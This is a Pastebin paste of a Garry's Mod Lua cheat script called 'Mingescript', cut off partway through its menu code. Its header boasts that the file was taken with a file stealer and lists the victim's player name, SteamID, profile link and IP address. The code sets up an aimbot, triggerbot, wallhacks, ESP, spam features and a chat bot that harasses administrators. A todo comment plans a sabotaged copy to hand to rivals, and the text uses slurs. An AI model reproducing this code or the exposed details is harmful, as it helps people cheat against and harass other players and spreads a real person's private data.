Velkon

Mingescript.lua

Jun 20th, 2015
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 172.28 KB | None | 0 0
  1. /*
  2. __ __ _ _ ______ _ _
  3. \ \ / / | | | |/ / __ \| \ | |
  4. \ \ / /__| | | ' / | | | \| |
  5. \ \/ / _ \ | | <| | | | . ` | File stealer 2015 :D
  6. \ / __/ |____| . \ |__| | |\ |
  7. \/ \___|______|_|\_\____/|_| \_|
  8.  
  9.  
  10. -=-=-=-INFO-=-==-
  11.  
  12. File Name: lua/mingescript.lua (2541680256)
  13. Date Received: 20/06/2015 (02:00:05)
  14. Current PlayerName: NahQueef
  15. Player SteamID: STEAM_0:1:97959679
  16. Player URL: http://steamcommunity.com/profiles/76561198156185087/
  17. Player IP: 70.177.24.146:27005
  18.  
  19. -=-=-=INFO CLOSED-=-=-
  20. - Stolen by Velkon :D
  21. */
  22.  
  23. // Have fun faggots
  24. /*todo
  25. use trace with headsmash ball to adjust height for ceilings
  26. fix traitor detector spam, something todo with the table.remove
  27. fix pre-round traitor weapon detection thing
  28. fix odd grey square things below text which appear when you die and have a red screen
  29. make prop leading trace happen from centre of prop
  30. figure out and fix the fps problem that remains even when no visuals are turned on - NPCS HAVE A MASSIVE FUCKING IMPACT
  31. add tickbox for wireframe material for propchams
  32. add tickbox for wireframe material for playerchams
  33. fix problem with add/removefriend not working with people that have ( something ) or [something] in their names
  34.  
  35. at the end make two versions
  36. full to give to entrusted people
  37.  
  38. sabotaged version which will fuck as much shit up as possible to give to fuckwits like nemix
  39. requires some sort of avengers style superhero team collaboration between hamster/ownage/anthrax/possibly others
  40. */
  41.  
  42. local G = table.Copy( _G )
  43. local RCC = G.RunConsoleCommand
  44. local RSTR = G.RunString
  45. local C = table.Copy( concommand )
  46. local CCA = C.Add
  47. local H = table.Copy( hook )
  48. local HKA = H.Add
  49. local HKR = H.Remove
  50. local Ent = FindMetaTable( "Entity" )
  51. local CamEnd3DShit = _G[ "cam" ][ "End3D" ]
  52. local RSetMaterial = Ent.SetMaterial
  53. local RGetMaterial = Ent.GetMaterial
  54. local RSetColour = Ent.SetColor
  55. local RGetColour = Ent.GetColor
  56. local CozIBackTracedIt
  57. local FriendsList
  58. local PlayerList
  59. local Window
  60. local ConsoleWindow
  61. local EntList
  62. local ESPEntList
  63.  
  64. local MS = {--OUTTA NOWHERE
  65. Friends = {},
  66. Spectators = {},
  67. Props = {},
  68. Tracked = {},
  69. HighPriority = {},
  70. Isolated = {},
  71. SpawnedWithTraitorWeapons = {},
  72. PlayerNameListTable = {},
  73. MsHelpCommandTable = {},
  74. ZoomView = {},
  75. RPJobs = {},
  76. MutedCunts = {},
  77. MaterialFile = {},
  78. ChamTable = {},
  79. PotentialTargetListNames = {},
  80. FriendsListNames = {},
  81. Traitors = {},
  82. LeadingTable = {},
  83. SuitableTargetTable = {},
  84. ConeTargetTable = {},
  85. DangerProps = { "models/props/de_tides/gate_large.mdl", "models/props/cs_militia/refrigerator01.mdl", "models/props_c17/lockers001a.mdl", "models/props/de_train/lockers_long.mdl", "models/props_phx/construct/metal_plate4x4.mdl", "models/props_debris/walldestroyed01a.mdl" },
  86. PropChamClasses = { "prop_physics", "prop_vehicle*", "gmod_button" },
  87. TargetNPCClasses = { "npc_*", "anklebiter_zombie", "regular_zombie", "mauler_zombie", "toxic_zombie", "wraith_zombie" },
  88. BjornTalks = { { 5, "?" }, { 20, "my game volume off you must type i cant hear u" }, { 50, "wait" }, { 70, "?wat" }, { 95, "/DARKRP Name bjorn" }, { 120, "/DARKRNAME bjorn" }, { 135, "o" }, { 145, "/SETROLLPLAYNAME bjorn" }, { 155, " ?OMG" }, { 180, "can u please explain it better ur not doing a very good job" }, { 190, "/ROLLPLAYNAME bjorn" }, { 200, "OMFG!!!!!!!!!!! STUPDIFUCKING COMMAND ISNT WORK!!" }, { 215, "?how do i get administrator because mayb will fix it" }, { 230, "?please" }, { 240, "// can a better administrator pls assist im being harasst" }, { 260, "// by an administrator that not knowing what he is talking about" }, { 270, "// he keep telling me to get name but when he tell me how it doesnt working" }, { 280, "OMG CAN I JUST GO TELL ME WHAT U WANT" }, { 290, "WE TRY THAT ALREADY AND IT HASNT WORKING" }, { 296, "my entire half of this conversation was automatic" }, { 298, "you've just wasted five minutes talking to a script" }, { 300, "dick head" } },
  89. FirstNames = { "Hudson", "jordan", "Austin", "nathan", "Alex", "Hayden", "john", "Jasper", "Boris", "horace", "morris", "doris", "julian", "nate", "Seth", "luca", "Jackson", "Isaac", "david", "matthew", "thOmas", "sam", "Oscar", "timothy", "Anthony", "archer", "Christian", "Bailey", "jayden", "Michael", "brodie", "caleb", "Tyler", "Jacob", "Archie", "beau", "gabriel", "Flynn", "samuel", "Koby", "sebastian", "Hugo", "angus", "ryder", "leo", "Declan", "dominic", "Toby", "daniel", "harry", "Joel", "tory", "Tristan", "will", "Taj", "Xavier", "Christopher", "Zane", "Jai", "Zac", "Thomas", "Nicholas", "Benjamin", "Marcus", "Tyson", "Andrew", "Jack", "Levi", "ballow", "Walter", "horatio", "Quentin" },
  90. Surnames = { "Schenk", "Beeby", "salisbury", "Atherton", "McColl", "Elsey", "bowles", "Macleod", "McElhone", "Schey", "Pridham", "wallwork", "Lassetter", "Manton", "leary", "England", "McNess", "hutchins", "Ronald", "Stones", "angas", "Lawrenson", "Dadswell", "crummer", "Gloucester", "cochran", "Ernest", "Todd", "Talbot", "Vogel", "Pryor", "peacock", "Lakeland", "Hallahan", "Avery", "edgerton", "Pohlman", "Nock", "resch", "Hassall", "Waley", "lyle", "Keynes", "Eagar", "copeland", "Gunson", "morell", "Cheel", "sumsuma", "Ellen", "Dove", "pizzey", "Morwood", "DeBavay", "tier", "Wilding", "Stoneman", "Whittell", "corey", "Patrick", "Loghlin", "mortlock", "Bulcock", "chumleigh", "Sani", "Timbery", "wheare", "Mondalmi", "Ferres", "buckley", "Chessman", "Macadam", "Whittle", "Dacomb", "tomkinson", "Woollacott", "Learmonth", "Cullen", "Sato", "gibson", "Medland", "Stang", "Trout", "cabena", "Edith", "Ryder", "Hardy", "ballow", "Kabu", "Haenke", "pescott", "Cudmore", "Aplin", "Zahel", "Kenyon" },
  91. UserNames = {"PedroGarcia2003", "deathcole20", "udealwithit", "kellyhxo", "nitrodan9", "Turbofaaret", "tlit02", "Somixe", "lm3788", "shinxluxio12655", "brr4airsoft", "FoG_Triton", "Boss_Nomad", "VillaV", "benmaher", "raptor6200", "Cheesy56", "ARiiiES", "shadow615", "ladiesman1324", "deatharrow36", "Harukoxd", "zacymacy2", "BED_TIME101", "jellybeanmm", "kyle_mcmanus", "widget20", "MrJevie", "boot_straps", "beatles4", "BILLYRAY", "bprevatte", "browning", "bullmastiff", "burry", "cruiser", "DChrles", "deck", "Diver", "eagleone", "gordo", "Holt", "mustang0000", "Strike34", "Am132__Y", "vince1949", "Sirbruce100", "Helloman999", "Amiable", "fukjaps888"},
  92. ProColours = { "-80 -7 -99999999999", "-80 -999999999999 -7", "-7 -7 -99999999999999999999", "-99999999999 -7 -7", "-7 -999999999999999999999 -7" },
  93. TardColours = { "0.8 0.2 0.6", "0 1 0.03", "0.1 0.05 1", "0.3 0.5 0.02", "1 0 0", "1 1 0", "0 1 0", "0 1 1", "0 0 1", "1 0 0" },
  94. MaterialsAndWidths = { "rope_material", "elastic_material", "hydraulic_material", "winch_rope_material", "slider_material", "muscle_material", "wire_material", "wire_adv_material", "rope_width", "elastic_width", "hydraulic_width", "winch_rope_width", "slider_width", "muscle_width", "wire_width", "wire_adv_width" },
  95. IgnoreDropWeps = { "weapon_physgun", "weapon_physcannon", "weapon_fists", "gmod_tool", "keys", "pocket", "gmod_camera" },
  96. TriggerbotBlacklist = { "weapon_physgun", "gmod_tool" },
  97. WhiteMaterial = CreateMaterial( "White9", "UnlitGeneric", { [ "$basetexture" ] = "models/debug/debugwhite", [ "$nocull" ] = 1, [ "$model" ] = 1 } ),
  98. DeagleLogsShit = { DeathLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, InflictorName = {}, KSteamID = {} }, PropLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Model= {} }, JobLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, OldTeam = {}, NewTeam = {}, }, ConnectLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Method = {} }, ToolLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Tool = {} }, DMGLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, KSteamID = {}, InflictorName = {}, Method = {}, Damage = {} }, NameLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, OldName = {}, NewName = {} }, ArrestLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Method = {}, Officer = {}, OSteamID = {} }, DemoteLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Demoter = {}, DSteamID = {}, Job = {}, Reason = {} }, HitLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Target = {}, TSteamID = {}, Method = {}, Customer = {}, CSteamID = {} }, },
  99. Job2 = "",
  100. LastJob = "",
  101. NewJob = "",
  102. LastFirstName = "",
  103. LastSurname = "",
  104. NewFirstName = "",
  105. NewSurname = "",
  106. EnabledOrDisabled = "",
  107. MaxFOV = 180,
  108. LastDist = 2048,
  109. Int2 = 1,
  110. NextSpawn = 0,
  111. TopSpeed = 0,
  112. CurrentSpeed = 0,
  113. NextFire = 0,
  114. NextSnap = 0,
  115. NewProColour = 0,
  116. LastProColour = 0,
  117. NewTardColour = 0,
  118. LastTardColour = 0,
  119. BiggestString = 0,
  120. Zoom = 0,
  121. NextBjornType = 0,
  122. Speed = 0,
  123. SilentSnapDelay = 0,
  124. MenuTimer = 0,
  125. TorchSpamTimer = 0,
  126. TorchShutoffTimer = 0,
  127. SilentAimPingAdjust = 0,
  128. Settings,
  129. EntityLock,
  130. TargetPly,
  131. Inv,
  132. IsVisTrace,
  133. AimBone,
  134. SpecColour,
  135. FriendlyMinge,
  136. PhysOverrideMul,
  137. PhysOverrideCol,
  138. ThirdPersonView,
  139. ConeTarget,
  140. PrevAng = Angle( 0, 0, 0 ),
  141. SilentAimAngle = Angle( 0, 0, 0 ),
  142. Start = Angle( 0, 0, 0 ),
  143. CHOutterPos1 = Vector( 0, 0, 0 ),
  144. CHOutterPos2 = Vector( 0, 0, 0 ),
  145. CHOutterPos3 = Vector( 0, 0, 0 ),
  146. CHOutterPos4 = Vector( 0, 0, 0 ),
  147. CHOutterPos5 = Vector( 0, 0, 0 ),
  148. CHOutterPos6 = Vector( 0, 0, 0 ),
  149. CHOutterPos7 = Vector( 0, 0, 0 ),
  150. CHOutterPos8 = Vector( 0, 0, 0 ),
  151. CHMidPos1 = Vector( 0, 0, 0 ),
  152. CHMidPos2 = Vector( 0, 0, 0 ),
  153. CHMidPos3 = Vector( 0, 0, 0 ),
  154. CHMidPos4 = Vector( 0, 0, 0 ),
  155. CHMidPos5 = Vector( 0, 0, 0 ),
  156. CHMidPos6 = Vector( 0, 0, 0 ),
  157. CHMidPos7 = Vector( 0, 0, 0 ),
  158. CHMidPos8 = Vector( 0, 0, 0 ),
  159. CHInnerPos1 = Vector( 0, 0, 0 ),
  160. CHInnerPos2 = Vector( 0, 0, 0 ),
  161. CHInnerPos3 = Vector( 0, 0, 0 ),
  162. CHInnerPos4 = Vector( 0, 0, 0 ),
  163. CHInnerPos5 = Vector( 0, 0, 0 ),
  164. CHInnerPos6 = Vector( 0, 0, 0 ),
  165. CHInnerPos7 = Vector( 0, 0, 0 ),
  166. CHInnerPos8 = Vector( 0, 0, 0 ),
  167. Colours = {
  168. red = Color( 255, 0, 0, 60 ),
  169. green = Color( 0, 255, 0, 255 ),
  170. blue = Color( 20, 150, 255, 60 ),
  171. white = Color( 255, 255, 255, 255 ),
  172. pink = Color( 255, 0, 255, 255 ),
  173. black = Color( 0, 0, 0, 255 ),
  174. yellow = Color( 255, 255, 0, 255 ),
  175. traitorred = Color( 0, 0, 255 ),
  176. headsmashballcol = Color( 0, 0, 0, 255 ),
  177. Col = Color( 0, 0, 0, 255 ),
  178. Random = Color( 0, 0, 0, 255 ),
  179. PropChamsColour = Color( 0, 0, 0, 255 ),
  180. CrosshairCol = Color( 0, 0, 0, 255 ),
  181. },
  182. SpawnMaxBounds = Vector( -2552.397217, -2431.968750, 14.708786 ),
  183. SpawnMinBounds = Vector( -2807.807373, -2847.065674, -200 ),
  184. ScreenGrab = false,
  185. IsFiring = false,
  186. TorchSpamming = false,
  187. Cannoning = false,
  188. DetectingTs = false,
  189. Visible = true,
  190. RopeSpamming = false,
  191. Glowing = false,
  192. ZoomActive = false,
  193. ZoomEnable = false,
  194. Vomiting = false,
  195. KickFlipping = false,
  196. IsBjornTyping = false,
  197. IsBjorn = false,
  198. FuckingPlayer = false,
  199. ConeSpawned = false,
  200. UpdateCol = true,
  201. UpdatePropCol = true,
  202. ResetVis = false,
  203. SetNoVis = false,
  204. UpdateSilentAngle = true,
  205. SnapBack = false,
  206. Lagsploiting = false,
  207. Hopping = false,
  208. MenuOpen = false,
  209. MenuFirstPass = true,
  210. StayOpen = false,
  211. DeagleLogs = false,
  212. SnapBack2 = false,
  213. }
  214.  
  215. function table.val_to_str ( v )
  216. if "string" == type( v ) then
  217. return "hi"
  218. else
  219. return "table" == type( v ) and table.tostring( v ) or
  220. tostring( "hi" )
  221. end
  222. end
  223.  
  224. function table.key_to_str ( k )
  225. if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
  226. return k
  227. else
  228. return "[" .. table.val_to_str( k ) .. "]"
  229. end
  230. end
  231.  
  232. function table.tostring( tbl )
  233. local result, done = {}, {}
  234. for k,v in ipairs( tbl ) do
  235. table.insert( result, table.val_to_str( v ) )
  236. done[ k ] = true
  237. end
  238. for k,v in pairs( tbl ) do
  239. if not done[ k ] then
  240. table.insert( result,
  241. table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
  242. end
  243. end
  244. table.sort( result, function( a, b ) return a > b end )
  245. return "{" .. table.concat( result, ", " ) .. "}"
  246. end
  247.  
  248. MS.Settings = {
  249. TriggerBot = {
  250. enabled = false,
  251. onlyaim = true,
  252. rapidfire = false,
  253. },
  254. Aimbot = {
  255. enabled = false,
  256. targetnpcs = false,
  257. aimsmoothon = false,
  258. multitrace = false,
  259. norecoil = true,
  260. noshake = true,
  261. ignorefriends = false,
  262. ignoreteammates = false,
  263. silent = false,
  264. maxfov = 30,
  265. snapwait = 0,
  266. aimsmooth = 30,
  267. Bones = { "POW RIGHT IN THE KISSER", "Nipples", "RIGHT IN THE PUSSY", "Left Kneecap", "Right Kneecap" },
  268. AimFor = "POW RIGHT IN THE KISSER",
  269. },
  270. Visuals = {
  271. Text = {
  272. on = true,
  273. mingenametags = true,
  274. names = true,
  275. health = true,
  276. weapon = true,
  277. rank = true,
  278. distance = true,
  279. modelnames = true,
  280. espvelocity = true,
  281. velocity = true,
  282. topvelocity = true,
  283. },
  284. addwire = false,
  285. playerleading = false,
  286. propleading = false,
  287. verticalbeam = true,
  288. headsmash = true,
  289. headsmashball = true,
  290. boxes = true,
  291. teamcolours = false,
  292. playerchams = true,
  293. propchams = true,
  294. playersuppressenginelighting = false,
  295. nosky = false,
  296. crosshair = true,
  297. eyetrace = true,
  298. halos = true,
  299. thirdperson = false,
  300. savefps = false,
  301. weaponchams = true,
  302. traitor = true,
  303. checktidesgate = false,
  304. rainbow = false,
  305. nogunz = false,
  306. overridephysgun = false,
  307. PropR = 255,
  308. PropG = 150,
  309. PropB = 0,
  310. PropA = 45,
  311. CustomR = 0,
  312. CustomG = 255,
  313. CustomB = 255,
  314. rainbowmult = 1,
  315. ThirdPersonDist = 250,
  316. haloselection = 3,
  317. crosshairspeed = 2,
  318. customents = {},
  319. RopeMaterial = "matsys_regressiontest/background",
  320. },
  321. Debug = false,
  322. AutoStrafe = false,
  323. }
  324.  
  325. local function MSMsg( text )
  326. MsgC( MS.Colours.green, string.upper( text ) .. "\n" )
  327. end
  328.  
  329. if( !file.Exists( "mssettings.txt", "DATA" ) ) then
  330. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  331. else
  332. if( table.tostring( MS.Settings ) == table.tostring( util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) ) ) ) then
  333. MS.Settings = util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) )
  334. MS.Settings.Aimbot.enabled = false
  335. else
  336. MSMsg( "SETTINGS FILE TEMPLATE CHANGED .. REWRITING..." )
  337. file.Delete( "mssettings.txt" )
  338. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  339. end
  340. end
  341.  
  342. local function LogMsg( text )
  343. if( !MS.Settings.Debug ) then return end
  344. MSMsg( text )
  345. end
  346. local function MSError( text )
  347. notification.AddLegacy( string.upper( text ), NOTIFY_ERROR, 5 )
  348. MSMsg( text )
  349. RCC( "play", "buttons/button16.wav" )
  350. end
  351. local function EnabledDisabled( name, bool )
  352. MS.EnabledOrDisabled = "disabled"
  353. if( bool ) then
  354. MS.EnabledOrDisabled = "enabled"
  355. end
  356. MSMsg( name .. " " .. MS.EnabledOrDisabled )
  357. end
  358.  
  359. local function FindByName( text )
  360. for k,v in pairs( player.GetAll() ) do
  361. if( v == LocalPlayer() ) then continue end
  362. if( string.find( string.lower( v:Nick() ), string.lower( text ) ) ) then
  363. return v
  364. end
  365. end
  366. return nil
  367. end
  368.  
  369. local function GetPlayerNameList( pref )
  370. MS.PlayerNameListTable = {}
  371. for k,v in pairs( player.GetAll() ) do
  372. table.insert( MS.PlayerNameListTable, pref .. v:Nick() )
  373. end
  374. return MS.PlayerNameListTable
  375. end
  376.  
  377. local function AddFriend( name )
  378. if( type( name ) != "string" and name:IsPlayer() ) then
  379. if( table.HasValue( MS.Friends, name ) ) then
  380. MSMsg( name:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  381. return
  382. end
  383. table.insert( MS.Friends, name )
  384. MSMsg( "ADDED " .. name:Nick() .. " TO FRIEND LIST" )
  385. return
  386. end
  387. if( type( name ) != "string" ) then MSError( "ERROR: ADDFRIEND ATTEMPTED TO USE TYPE ".. type( name ) ) return end
  388. if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  389. if( name == "*" ) then
  390. MS.Friends = table.Copy( player.GetAll() )
  391. MSMsg( "ADDED EVERYONE TO FRIENDS LIST" )
  392. return
  393. end
  394.  
  395. local ToAdd = FindByName( name )
  396. if( table.HasValue( MS.Friends, ToAdd ) ) then
  397. MSMsg( ToAdd:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  398. return
  399. end
  400. table.insert( MS.Friends, ToAdd )
  401. MSMsg( "ADDED " .. ToAdd:Nick() .. " TO FRIEND LIST" )
  402. end
  403. CCA( "ms_friendadd", function( _, _, args ) AddFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendadd " ) end )
  404.  
  405. local function RemoveFriend( name )
  406. if( type( name ) == "string" and name == "*" ) then
  407. MS.Friends = {}
  408. MSMsg( "REMOVED EVERYONE FROM LIST" )
  409. return
  410. end
  411. if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  412. for k,v in pairs( MS.Friends ) do
  413. if( type( name ) != "string" and name:IsPlayer() and name == v ) or ( type( name ) == "string" and FindByName( name ) == v ) then
  414. table.remove( MS.Friends, k )
  415. MSMsg( "REMOVED " .. v:Nick() .. " FROM FRIENDS LIST" )
  416. break
  417. end
  418. end
  419. end
  420. CCA( "ms_friendremove", function( _, _, args ) RemoveFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendremove " ) end )
  421.  
  422. local function InvertColour( c )
  423. return Color( 255 - c.r, 255 - c.g, 255 - c.b, 255 );
  424. end
  425.  
  426. local function NoShake( ply, pos, angles, fov )
  427. if( GetViewEntity() != LocalPlayer() or MS.ZoomEnable or MS.Settings.Visuals.thirdperson or LocalPlayer():InVehicle() ) then return end
  428. local view = { ply = ply, origin = pos, angles = LocalPlayer():EyeAngles(), fov = fov }
  429. return view
  430. end
  431.  
  432. local function GenerateVisualsSheet( w, h )
  433. VisualPanel = vgui.Create( "DPanel" )
  434. VisualPanel:SetPos( 2, 2 )
  435. VisualPanel:SetSize( w - 2, h - 2 )
  436. VisualPanel.Paint = function()
  437. draw.RoundedBox( 3, 0, 0, VisualPanel:GetWide(), VisualPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  438. end
  439.  
  440. local SheetLeft = vgui.Create( "DPanelList", VisualPanel )
  441. SheetLeft:SetPos( 2, 2 )
  442. SheetLeft:SetSize( 100, h )
  443. SheetLeft:SetSpacing( 6 )
  444. SheetLeft:SetPadding( 4 )
  445. SheetLeft:EnableVerticalScrollbar( true )
  446.  
  447. local SheetMid = vgui.Create( "DPanelList", VisualPanel )
  448. SheetMid:SetPos( 100, 2 )
  449. SheetMid:SetSize( 100, h )
  450. SheetMid:SetSpacing( 6 )
  451. SheetMid:SetPadding( 4 )
  452. SheetMid:EnableVerticalScrollbar( true )
  453.  
  454. local SheetRight = vgui.Create( "DPanelList", VisualPanel )
  455. SheetRight:SetPos( 200, 2 )
  456. SheetRight:SetSize( 100, h )
  457. SheetRight:SetSpacing( 6 )
  458. SheetRight:SetPadding( 4 )
  459. SheetRight:EnableVerticalScrollbar( true )
  460.  
  461. local SheetLong = vgui.Create( "DPanelList", VisualPanel )
  462. SheetLong:SetPos( 2, 90 )
  463. SheetLong:SetSize( 300, h )
  464. SheetLong:SetSpacing( 6 )
  465. SheetLong:SetPadding( 4 )
  466. SheetLong:EnableVerticalScrollbar( true )
  467.  
  468. local CheckBoxAddWire = vgui.Create( "DCheckBoxLabel" )
  469. CheckBoxAddWire:SetText( "Add Wire" )
  470. CheckBoxAddWire:SetToolTip( "Adds Wiremod shit to prop chams" )
  471. CheckBoxAddWire:SetValue( MS.Settings.Visuals.addwire )
  472. CheckBoxAddWire.OnChange = function( _, toggle )
  473. MS.Settings.Visuals.addwire = toggle
  474. if( MS.Settings.Visuals.addwire ) then
  475. table.insert( MS.PropChamClasses, "gmod_wire*" )
  476. MS.SetNoVis = true
  477. else
  478. MS.ResetVis = true
  479. table.remove( MS.PropChamClasses, 4 )
  480. MS.SetNoVis = true
  481. end
  482. end
  483. CheckBoxAddWire:SizeToContents()
  484.  
  485. local CheckBoxCheckTidesGate = vgui.Create( "DCheckBoxLabel" )
  486. CheckBoxCheckTidesGate:SetText( "Prop Danger" )
  487. CheckBoxCheckTidesGate:SetToolTip( "Tides gates and fridges flash red if they have a clear path to you" )
  488. CheckBoxCheckTidesGate:SetValue( MS.Settings.Visuals.checktidesgate )
  489. CheckBoxCheckTidesGate.OnChange = function( _, toggle )
  490. MS.Settings.Visuals.checktidesgate = toggle
  491. end
  492. CheckBoxCheckTidesGate:SizeToContents()
  493.  
  494. local CheckBoxCrosshair = vgui.Create( "DCheckBoxLabel" )
  495. CheckBoxCrosshair:SetText( "Crosshair" )
  496. CheckBoxCrosshair:SetToolTip( "CUNTFLAKE" )
  497. CheckBoxCrosshair:SetValue( MS.Settings.Visuals.crosshair )
  498. CheckBoxCrosshair.OnChange = function( _, toggle )
  499. MS.Settings.Visuals.crosshair = toggle
  500. end
  501. CheckBoxCrosshair:SizeToContents()
  502.  
  503. local CheckBoxModelNames = vgui.Create( "DCheckBoxLabel" )
  504. CheckBoxModelNames:SetText( "Model Names" )
  505. CheckBoxModelNames:SetToolTip( "Shows the model of the prop/button you're aiming at" )
  506. CheckBoxModelNames:SetValue( MS.Settings.Visuals.Text.modelnames )
  507. CheckBoxModelNames.OnChange = function( _, toggle )
  508. MS.Settings.Visuals.Text.modelnames = toggle
  509. end
  510. CheckBoxModelNames:SizeToContents()
  511.  
  512. local CheckBoxNoSky = vgui.Create( "DCheckBoxLabel" )
  513. CheckBoxNoSky:SetText( "No Skybox" )
  514. CheckBoxNoSky:SetToolTip( ">implying this needs a tooltip" )
  515. CheckBoxNoSky:SetValue( MS.Settings.Visuals.nosky )
  516. CheckBoxNoSky.OnChange = function( _, toggle )
  517. MS.Settings.Visuals.nosky = toggle
  518. if( MS.Settings.Visuals.nosky ) then
  519. HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  520. return
  521. end
  522. HKR( "PreDrawSkyBox", "removeSkybox" )
  523. end
  524. CheckBoxNoSky:SizeToContents()
  525.  
  526. local CheckBoxPropChams = vgui.Create( "DCheckBoxLabel" )
  527. CheckBoxPropChams:SetText( "Prop Chams" )
  528. CheckBoxPropChams:SetTooltip( "Prop wallhack" )
  529. CheckBoxPropChams:SetValue( MS.Settings.Visuals.propchams )
  530. CheckBoxPropChams.OnChange = function( _, toggle )
  531. MS.Settings.Visuals.propchams = toggle
  532. if( MS.Settings.Visuals.propchams ) then
  533. MS.SetNoVis = true
  534. return
  535. end
  536. MS.ResetVis = true
  537. end
  538. CheckBoxPropChams:SizeToContents()
  539.  
  540. local CheckBoxPropLeading = vgui.Create( "DCheckBoxLabel" )
  541. CheckBoxPropLeading:SetText( "Prop Predict" )
  542. CheckBoxPropLeading:SetToolTip( "Prop trajectory prediction, works okay" )
  543. CheckBoxPropLeading:SetValue( MS.Settings.Visuals.propleading )
  544. CheckBoxPropLeading.OnChange = function( _, toggle )
  545. MS.Settings.Visuals.propleading = toggle
  546. end
  547. CheckBoxPropLeading:SizeToContents()
  548.  
  549. local CheckBoxRainbow = vgui.Create( "DCheckBoxLabel" )
  550. CheckBoxRainbow:SetText( "Rainbow" )
  551. CheckBoxRainbow:SetToolTip( "TASTE THE RAINBOW MOTHER FUCKER" )
  552. CheckBoxRainbow:SetValue( MS.Settings.Visuals.rainbow )
  553. CheckBoxRainbow.OnChange = function( _, toggle )
  554. MS.Settings.Visuals.rainbow = toggle
  555. if( !MS.Settings.Visuals.rainbow ) then
  556. MS.UpdateCol = true
  557. MS.UpdatePropCol = true
  558. end
  559. end
  560. CheckBoxRainbow:SizeToContents()
  561.  
  562. local CheckBoxSaveFPS = vgui.Create( "DCheckBoxLabel" )
  563. CheckBoxSaveFPS:SetText( "Save FPS" )
  564. CheckBoxSaveFPS:SetToolTip( "Stops rendering visuals outside your view, bit fucked" )
  565. CheckBoxSaveFPS:SetValue( MS.Settings.Visuals.savefps )
  566. CheckBoxSaveFPS.OnChange = function( _, toggle )
  567. MS.Settings.Visuals.savefps = toggle
  568. end
  569. CheckBoxSaveFPS:SizeToContents()
  570.  
  571. local CheckBoxNoGunz = vgui.Create( "DCheckBoxLabel" )
  572. CheckBoxNoGunz:SetText( "Invis Weapon" )
  573. CheckBoxNoGunz:SetToolTip( "Makes your shit all invisible and shit - massive fps drain" )
  574. CheckBoxNoGunz:SetValue( MS.Settings.Visuals.nogunz )
  575. CheckBoxNoGunz.OnChange = function( _, toggle )
  576. MS.Settings.Visuals.nogunz = toggle
  577. end
  578. CheckBoxNoGunz:SizeToContents()
  579.  
  580. local CheckBoxTopVelocity = vgui.Create( "DCheckBoxLabel" )
  581. CheckBoxTopVelocity:SetText( "Top Velocity" )
  582. CheckBoxTopVelocity:SetToolTip( "Displays your top velocity" )
  583. CheckBoxTopVelocity:SetValue( MS.Settings.Visuals.Text.topvelocity )
  584. CheckBoxTopVelocity.OnChange = function( _, toggle )
  585. MS.Settings.Visuals.Text.topvelocity = toggle
  586. end
  587. CheckBoxTopVelocity:SizeToContents()
  588.  
  589. local CheckBoxVelocity = vgui.Create( "DCheckBoxLabel" )
  590. CheckBoxVelocity:SetText( "Velocity" )
  591. CheckBoxVelocity:SetToolTip( "Displays your current velocity" )
  592. CheckBoxVelocity:SetValue( MS.Settings.Visuals.Text.velocity )
  593. CheckBoxVelocity.OnChange = function( _, toggle )
  594. MS.Settings.Visuals.Text.velocity = toggle
  595. end
  596. CheckBoxVelocity:SizeToContents()
  597.  
  598. local PropR = vgui.Create( "DNumSlider" )
  599. PropR:SetMinMax( 0, 255 )
  600. PropR:SetValue( MS.Settings.Visuals.PropR )
  601. PropR:SetText( "Prop Chams: Red" )
  602. PropR:SetDecimals( 0 )
  603. PropR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  604. PropR.OnValueChanged = function( panel, value )
  605. MS.Settings.Visuals.PropR = value
  606. MS.UpdatePropCol = true
  607. end
  608. PropR:SetSize( 120, 14 )
  609.  
  610. local PropG = vgui.Create( "DNumSlider" )
  611. PropG:SetMinMax( 0, 255 )
  612. PropG:SetValue( MS.Settings.Visuals.PropG )
  613. PropG:SetText( "Prop Chams: Green" )
  614. PropG:SetDecimals( 0 )
  615. PropG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  616. PropG.OnValueChanged = function( panel, value )
  617. MS.Settings.Visuals.PropG = value
  618. MS.UpdatePropCol = true
  619. end
  620. PropG:SetSize( 120, 14 )
  621.  
  622. local PropB = vgui.Create( "DNumSlider" )
  623. PropB:SetMinMax( 0, 255 )
  624. PropB:SetValue( MS.Settings.Visuals.PropB )
  625. PropB:SetText( "Prop Chams: Blue" )
  626. PropB:SetDecimals( 0 )
  627. PropB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  628. PropB.OnValueChanged = function( panel, value )
  629. MS.Settings.Visuals.PropB = value
  630. MS.UpdatePropCol = true
  631. end
  632. PropB:SetSize( 120, 14 )
  633.  
  634. local PropA = vgui.Create( "DNumSlider" )
  635. PropA:SetMinMax( 0, 100 )
  636. PropA:SetValue( MS.Settings.Visuals.PropA )
  637. PropA:SetText( "Prop Chams: Opacity" )
